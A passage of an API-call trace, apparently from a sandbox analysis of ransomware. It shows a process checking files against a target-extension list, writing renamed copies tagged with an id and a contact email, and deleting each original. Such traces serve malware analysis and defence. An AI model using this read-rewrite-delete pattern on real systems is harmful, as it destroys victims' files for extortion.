Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0272.762] lstrlenW (lpString=".doc") returned 4 [0272.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.762] lstrlenW (lpString=".docx") returned 5 [0272.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.762] lstrlenW (lpString=".pdf") returned 4 [0272.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.762] lstrlenW (lpString=".xls") returned 4 [0272.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.762] lstrlenW (lpString=".xlsx") returned 5 [0272.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.762] lstrlenW (lpString=".ppt") returned 4 [0272.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0272.762] lstrlenW (lpString=".zip") returned 4 [0272.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.762] lstrlenW (lpString=".rar") returned 4 [0272.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.762] lstrlenW (lpString=".bz2") returned 4 [0272.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.762] lstrlenW (lpString=".7z") returned 3 [0272.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0272.762] lstrlenW (lpString=".dbf") returned 4 [0272.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0272.762] lstrlenW (lpString=".1cd") returned 4 [0272.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0272.763] lstrlenW (lpString=".jpg") returned 4 [0272.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.763] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0272.763] lstrlenW (lpString="FD00306_.WMF") returned 12 [0272.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0272.820] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=46814) returned 1 [0272.820] CloseHandle (hObject=0x30c) returned 1 [0272.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x20 [0272.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0272.821] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.821] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0272.822] GetLastError () returned 0x0 [0272.822] ReadFile (in: hFile=0x30c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0xb6de, lpOverlapped=0x0) returned 1 [0272.824] WriteFile (in: hFile=0x394, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xb6e0, lpOverlapped=0x0) returned 1 [0272.826] ReadFile (in: hFile=0x30c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0272.826] WriteFile (in: hFile=0x394, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.826] SetEndOfFile (hFile=0x394) returned 1 [0272.826] CloseHandle (hObject=0x394) returned 1 [0272.826] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.826] SetEndOfFile (hFile=0x30c) returned 1 [0272.828] CloseHandle (hObject=0x30c) returned 1 [0272.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0272.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0272.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0272.831] lstrlenW (lpString=".doc") returned 4 [0272.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.831] lstrlenW (lpString=".docx") returned 5 [0272.832] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.832] lstrlenW (lpString=".pdf") returned 4 [0272.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.832] lstrlenW (lpString=".xls") returned 4 [0272.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.832] lstrlenW (lpString=".xlsx") returned 5 [0272.832] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.832] lstrlenW (lpString=".ppt") returned 4 [0272.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0272.832] lstrlenW (lpString=".zip") returned 4 [0272.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.832] lstrlenW (lpString=".rar") returned 4 [0272.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.832] lstrlenW (lpString=".bz2") returned 4 [0272.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.832] lstrlenW (lpString=".7z") returned 3 [0272.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0272.832] lstrlenW (lpString=".dbf") returned 4 [0272.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0272.832] lstrlenW (lpString=".1cd") returned 4 [0272.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0272.832] lstrlenW (lpString=".jpg") returned 4 [0272.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0272.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0272.833] lstrlenW (lpString=".doc") returned 4 [0272.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.833] lstrlenW (lpString=".docx") returned 5 [0272.833] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.833] lstrlenW (lpString=".pdf") returned 4 [0272.833] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.833] lstrlenW (lpString=".xls") returned 4 [0272.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.833] lstrlenW (lpString=".xlsx") returned 5 [0272.833] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.833] lstrlenW (lpString=".ppt") returned 4 [0272.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0272.833] lstrlenW (lpString=".zip") returned 4 [0272.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.833] lstrlenW (lpString=".rar") returned 4 [0272.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.833] lstrlenW (lpString=".bz2") returned 4 [0272.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.833] lstrlenW (lpString=".7z") returned 3 [0272.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0272.833] lstrlenW (lpString=".dbf") returned 4 [0272.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0272.833] lstrlenW (lpString=".1cd") returned 4 [0272.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0272.833] lstrlenW (lpString=".jpg") returned 4 [0272.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.834] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0272.834] lstrlenW (lpString="FD00336_.WMF") returned 12 [0272.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0272.834] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=6068) returned 1 [0272.834] CloseHandle (hObject=0x30c) returned 1 [0272.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x20 [0272.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0272.834] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.834] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0272.835] GetLastError () returned 0x0 [0272.835] ReadFile (in: hFile=0x30c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x17b4, lpOverlapped=0x0) returned 1 [0272.836] WriteFile (in: hFile=0x394, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x17c0, lpOverlapped=0x0) returned 1 [0272.837] ReadFile (in: hFile=0x30c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0272.837] WriteFile (in: hFile=0x394, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.837] SetEndOfFile (hFile=0x394) returned 1 [0272.837] CloseHandle (hObject=0x394) returned 1 [0272.837] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.837] SetEndOfFile (hFile=0x30c) returned 1 [0272.840] CloseHandle (hObject=0x30c) returned 1 [0272.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.840] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0272.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0272.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0272.841] lstrlenW (lpString=".doc") returned 4 [0272.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.841] lstrlenW (lpString=".docx") returned 5 [0272.841] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.841] lstrlenW (lpString=".pdf") returned 4 [0272.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.841] lstrlenW (lpString=".xls") returned 4 [0272.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.841] lstrlenW (lpString=".xlsx") returned 5 [0272.841] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.841] lstrlenW (lpString=".ppt") returned 4 [0272.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0272.841] lstrlenW (lpString=".zip") returned 4 [0272.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.841] lstrlenW (lpString=".rar") returned 4 [0272.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.841] lstrlenW (lpString=".bz2") returned 4 [0272.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.841] lstrlenW (lpString=".7z") returned 3 [0272.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0272.841] lstrlenW (lpString=".dbf") returned 4 [0272.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0272.842] lstrlenW (lpString=".1cd") returned 4 [0272.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0272.842] lstrlenW (lpString=".jpg") returned 4 [0272.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0272.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0272.842] lstrlenW (lpString=".doc") returned 4 [0272.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.842] lstrlenW (lpString=".docx") returned 5 [0272.842] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.842] lstrlenW (lpString=".pdf") returned 4 [0272.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.842] lstrlenW (lpString=".xls") returned 4 [0272.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.842] lstrlenW (lpString=".xlsx") returned 5 [0272.842] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.842] lstrlenW (lpString=".ppt") returned 4 [0272.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0272.842] lstrlenW (lpString=".zip") returned 4 [0272.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.842] lstrlenW (lpString=".rar") returned 4 [0272.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.842] lstrlenW (lpString=".bz2") returned 4 [0272.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.843] lstrlenW (lpString=".7z") returned 3 [0272.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0272.843] lstrlenW (lpString=".dbf") returned 4 [0272.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0272.843] lstrlenW (lpString=".1cd") returned 4 [0272.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0272.843] lstrlenW (lpString=".jpg") returned 4 [0272.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.843] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0272.843] lstrlenW (lpString="FD00361_.WMF") returned 12 [0272.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0272.843] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=4074) returned 1 [0272.843] CloseHandle (hObject=0x30c) returned 1 [0272.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x20 [0272.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0272.844] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.844] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0272.844] GetLastError () returned 0x0 [0272.844] ReadFile (in: hFile=0x30c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0xfea, lpOverlapped=0x0) returned 1 [0272.846] WriteFile (in: hFile=0x394, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xff0, lpOverlapped=0x0) returned 1 [0272.847] ReadFile (in: hFile=0x30c, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0272.847] WriteFile (in: hFile=0x394, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.847] SetEndOfFile (hFile=0x394) returned 1 [0272.847] CloseHandle (hObject=0x394) returned 1 [0272.847] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.847] SetEndOfFile (hFile=0x30c) returned 1 [0272.849] CloseHandle (hObject=0x30c) returned 1 [0272.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0272.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0272.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0272.850] lstrlenW (lpString=".doc") returned 4 [0272.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.850] lstrlenW (lpString=".docx") returned 5 [0272.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.850] lstrlenW (lpString=".pdf") returned 4 [0272.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.850] lstrlenW (lpString=".xls") returned 4 [0272.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.850] lstrlenW (lpString=".xlsx") returned 5 [0272.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.850] lstrlenW (lpString=".ppt") returned 4 [0272.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0272.850] lstrlenW (lpString=".zip") returned 4 [0272.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.850] lstrlenW (lpString=".rar") returned 4 [0272.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.850] lstrlenW (lpString=".bz2") returned 4 [0272.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.850] lstrlenW (lpString=".7z") returned 3 [0272.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0272.851] lstrlenW (lpString=".dbf") returned 4 [0272.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0272.851] lstrlenW (lpString=".1cd") returned 4 [0272.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0272.851] lstrlenW (lpString=".jpg") returned 4 [0272.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0272.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0272.851] lstrlenW (lpString=".doc") returned 4 [0272.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.851] lstrlenW (lpString=".docx") returned 5 [0272.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.851] lstrlenW (lpString=".pdf") returned 4 [0272.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.851] lstrlenW (lpString=".xls") returned 4 [0272.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.851] lstrlenW (lpString=".xlsx") returned 5 [0272.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.851] lstrlenW (lpString=".ppt") returned 4 [0272.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.851] lstrlenW (lpString="C:\\Program Files\\Microsoft 